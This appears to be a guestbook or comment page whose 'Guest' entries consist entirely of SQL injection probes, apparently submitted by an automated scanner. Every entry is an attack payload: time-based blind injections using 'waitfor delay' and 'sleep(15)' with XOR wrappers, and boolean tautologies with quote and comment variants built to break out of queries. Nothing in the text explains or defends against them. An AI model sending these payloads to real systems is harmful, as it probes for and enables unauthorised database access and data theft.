Guest:
1GV3og2MN')); waitfor delay '0:0:15' -- 


Guest:
1GV3og2MN')); waitfor delay '0:0:15' -- 


-1 OR 2+235-235-1=0+0+0+1 --

-1 OR 2+459-459-1=0+0+0+1

-1' OR 2+903-903-1=0+0+0+1 --

-1' OR 2+626-626-1=0+0+0+1 or '1ESEoscB'='

-1" OR 2+981-981-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1GV3og2MN')); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1GV3og2MN')); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z